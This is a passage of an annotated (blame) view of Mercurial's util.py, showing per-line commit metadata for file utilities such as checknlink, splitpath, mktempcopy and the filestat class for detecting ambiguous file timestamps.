FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
2251 # may take place for each patches of "hg qpush", for example
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2252 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2253 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2254
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2255 result.append(found or part)
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
2256 dir = os.path.join(dir, part)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2257
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2258 return b''.join(result)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2259
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2260
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2261 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2262 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2263
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2264 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2265 # work around issue2543 (or testfile may get lost on Samba shares)
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2266 f1, f2, fp = None, None, None
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2267 try:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2268 fd, f1 = pycompat.mkstemp(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2269 prefix=b'.%s-' % os.path.basename(testfile),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2270 suffix=b'1~',
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2271 dir=os.path.dirname(testfile),
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2272 )
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2273 os.close(fd)
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2274 f2 = b'%s2~' % f1[:-2]
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2275
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2276 oslink(f1, f2)
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2277 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2278 # the file is open.
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2279 fp = posixfile(f2)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2280 return nlinks(f2) > 1
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2281 except OSError:
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2282 return False
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2283 finally:
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2284 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2285 fp.close()
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2286 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2287 try:
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2288 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2289 os.unlink(f)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2290 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2291 pass
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2292
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2293
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2294 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2295 '''Check path ends with os.sep or os.altsep.'''
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2296 return (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2297 path.endswith(pycompat.ossep)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2298 or pycompat.osaltsep
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2299 and path.endswith(pycompat.osaltsep)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2300 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2301
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2302
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2303 def splitpath(path):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2304 """Split path by os.sep.
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2305 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2306 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2307 It is recommended to use os.path.normpath() before using this
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2308 function if need."""
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
2309 return path.split(pycompat.ossep)
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2310
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2311
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2312 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2313 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2314
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2315 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2316
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2317 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2318 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2319
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2320 Returns the name of the temporary file.
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2321 """
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2322 d, fn = os.path.split(name)
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2323 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2324 os.close(fd)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2325 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2326 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2327 # its mode. Otherwise, manually obey umask.
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2328 copymode(name, temp, createmode, enforcewritable)
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2329
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2330 if emptyok:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2331 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2332 try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2333 try:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2334 ifp = posixfile(name, b"rb")
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2335 except IOError as inst:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2336 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2337 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2338 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2339 inst.filename = name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2340 raise
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2341 ofp = posixfile(temp, b"wb")
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2342 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2343 ofp.write(chunk)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2344 ifp.close()
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2345 ofp.close()
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2346 except: # re-raises
34435
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2347 try:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2348 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2349 except OSError:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2350 pass
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2351 raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2352 return temp
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2353
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2354
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2355 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2356 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2357
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2358 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2359 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2360 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2361 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2362
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2363 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2364 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2365
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2366 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2367 def frompath(cls, path):
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2368 try:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2369 stat = os.stat(path)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2370 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2371 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2372 raise
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2373 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2374 return cls(stat)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2375
32816
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2376 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2377 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2378 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2379 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2380
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2381 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2382
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2383 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2384 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2385 # if ambiguity between stat of new and old file is
30332
318a24b52eeb spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents: 30329
diff changeset
2386 # avoided, comparison of size, ctime and mtime is enough
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2387 # to exactly detect change of a file regardless of platform
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2388 return (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2389 self.stat.st_size == old.stat.st_size
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2390 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2391 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2392 )
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2393 except AttributeError:
32749
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2394 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2395 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2396 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2397 except AttributeError:
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2398 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2399
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2400 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2401 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2402
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2403 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2404
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2405 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2406 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2407 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2408 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2409 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2410 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2411
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2412 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2413 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2414 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2415
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2416 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2417 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2418
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2419 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2420 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2421 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2422
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2423 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2424 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2425 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2426
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2427 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2428 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2429 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2430 try:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2431 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2432 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2433 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2434
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2435 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2436 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2437
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2438 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2439
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2440 This skips avoiding ambiguity, if a process doesn't have
32746
